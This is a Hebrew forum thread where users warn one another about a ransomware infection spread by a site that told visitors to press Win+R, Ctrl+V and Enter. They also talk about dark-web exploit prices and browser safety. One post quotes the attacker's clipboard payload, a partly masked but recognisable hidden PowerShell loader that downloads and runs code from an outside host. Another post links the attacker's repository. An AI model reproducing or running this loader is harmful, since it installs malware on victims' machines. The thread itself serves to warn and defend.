שיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר

[cfopuser]

@עידו300 לגבי האתר הראשון הוא משאיר מקום ריק בטבלה עבור סחר בzero day

לגבי האתר השני לא ראיתי שהוא מפרט מחירים, בכול מקרה הסטטיסטיקות שלו נראות מוזרות
הוא כותב שהרשת האפילה זה 7% מהאינטרנט .
ושורה אחת אחרי זה הוא כותב שזה 99% מהאינטרנט.

---

זה דבר שמאוד קשה לגלות מה המחירים / היקיפים שלו כי די ברור שאף אחד לא רוצה לפרט על זה לא הקונים זה ברור,
וגם לא המוכרים כדי לא להרחיק קונים

הנתונים שכן יודעים זה מחקירות עומק של עיתונאים
זה לא בורסה שאתה עושה סקירת שוק....

[עידו300]

@cfopuser כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

הוא כותב שהרשת האפילה זה 7% מהאינטרנט .
ושורה אחת אחרי זה הוא כותב שזה 99% מהאינטרנט.

הוא כתב שהדרקנט הוא 5% מהאנטרנט והוא חלק ממה שנקרא deep web רשת עמוקה שהיא 99% אחוז מהאנטרנט, הרשת העמוקה רובה הוא חומר חוקי לחלוטין רק שהוא נסתר מעיני הציבור מסיבות פרטיות או אבטחה כמו מסמכים ממשלתיים, חשבונות בנק, מסמכים רפואיים ועוד.

[שוהם307]

@מתכנת-חובב כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

ובאופן כללי צריך ללמוד לא לעשות שום דבר על המחשב שאתר דורש ממך

אבל הוא כן היה צריך להקיש משהו בדפדפן, לא? אז איך הוא היה יכול למנוע את זה?

[cfopuser]

@עידו300 צודק בזה.
בכול אופן אני נשאר בעמדה שהמחירים הם גבוהים מאוד עבור סוג הפרצות שאתה מדבר עליו.

[עידו300]

קשור למישהו כאן לא יכול להיות צירוף מקרים...

[בנימין מחשבים]

עכשיו ראיתי שפרסם עוד מישהו שכמעט נפל בזה
ורק בגלל שפורסם הנושא הוא ידע לא ללחוץ על זה...

62e1986e-5a9e-4fd3-92c2-02e285959232-צילום מסך.zip

Spoiler

האתר שבו זה קפץ (בלי אחריות - הוספתי כוכביות כדי שלא תלחצו בטעות על הקישור!!
https://www.bslonline*****.co.il/vip/

פרסמו כמה שיותר!!!!

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

[cfopuser]

@בנימין-מחשבים לא נראה לי אני יעבור על כול זה
אבל הנה הגיטהאב של התוקף/איפה שמאוחסן הוירוס (או יותר נכון השלב הבא שלו) למי שמעוניין
https://github.com/paper-skydiver-drv8

[יונימדיה]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

עכשיו ראיתי שפרסם עוד מישהו שכמעט נפל בזה
ורק בגלל שפורסם הנושא הוא ידע לא ללחוץ על זה...

אני שמח שהפוסטים כאן עזרו ליהודי.
מחר אני יהיה על המחשב הנגוע. נדווח על כל צעד חריג...

[cfopuser]

@בנימין-מחשבים אחד החמודים היוצר של זה אפי' השאיר הערות הסבר על הקוד

Spoiler

# Making temporary changes that will revert later
# Partial implementation below, non-blocking

# Waiting for service heartbeat before continuing

# Retry logic removed (no longer needed)

SyncAppvPublishingServer.vbs "n;saps $env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\?owershell.??? -Arg '-NoP -C & (gal i*************************************************************************************************************?*********************x)(& (gcm *************************************************************************************************************************estM*****************************************************) docker-void.mesh-api-cloud-secure.in.net/fedora-win11);while(1){sleep 60}' -Wi Hidden"

# Only used in fallback scenarios
# Handles backend sync issue on older hosts

# Last-minute fix - unverified but consistent
# Watching for inconsistencies in runtime behavior
while ($false) {
    $assembly = [System.Reflection.Assembly]::LoadWithPartialName("System.Xml"); Write-Debug "Loaded Assembly FullName: $($assembly.FullName)"
}
(Get-Culture).Name | Out-Null

[pcinfogmach]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

האתר ביקש ממנו לבצע:
Win + R → Ctrl + V → Enter, מה שלכאורה פתח חלון Run והדביק פקודה שהייתה ב‑clipboard שלו.
סתם ללחוץ cntl v מה הבעיה?

[בנימין מחשבים]

@pcinfogmach אתה צודק, אבל תמיד אם אתר מבקש ממך את זה אז כנראה הוא תוקף...
עדיף לכתוב את זה כך כדי שאנשים יזכרו את זה (אנשים לא יודעים בכלל מה זה Win + R)
Ctrl + V = וירוס

[pcinfogmach]

@בנימין-מחשבים
שומע
אבל קצת מוזר לאסור את הקיצור מקשים הזה....
אולי ככה:
cntrl + v = זהירות משנה מוירוס

[צדיק תמים]

@עידו300 כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

טעות שלי, המחירים הרבה פחות יקרים, תראו לדוגמא כאן
https://socradar.io/blog/insights-from-socradars-annual-dark-web-report-2024/
וכאן
https://moneyzine.com/resources/dark-web-statistics/

מה זה האתרים האלה בכלל?
בכל מקרה אי אפשר להשוות סתם CVE ל CVE שמאפשר לברוח מארגז חול של דפדפן ולהצפין קבצים במחשב

מה שכן חשוב מאוד לעדכן קבוע את הדפדפן

[צדיק תמים]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

אין בעיה ללחוץ קונטרול V, הבעיה ללחוץ WIN+R

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

אנשים לא יודעים בכלל מה זה Win + R

אז צריך לשנן לאנשים לא ללחוץ על צירופי מקשים שהם לא מכירים
או יותר נכון להבין את הגבולות שבין הדפדפן למחשב
כי מחר יגידו להם להוריד קובץ ומחרתיים להריץ משהו בקונסול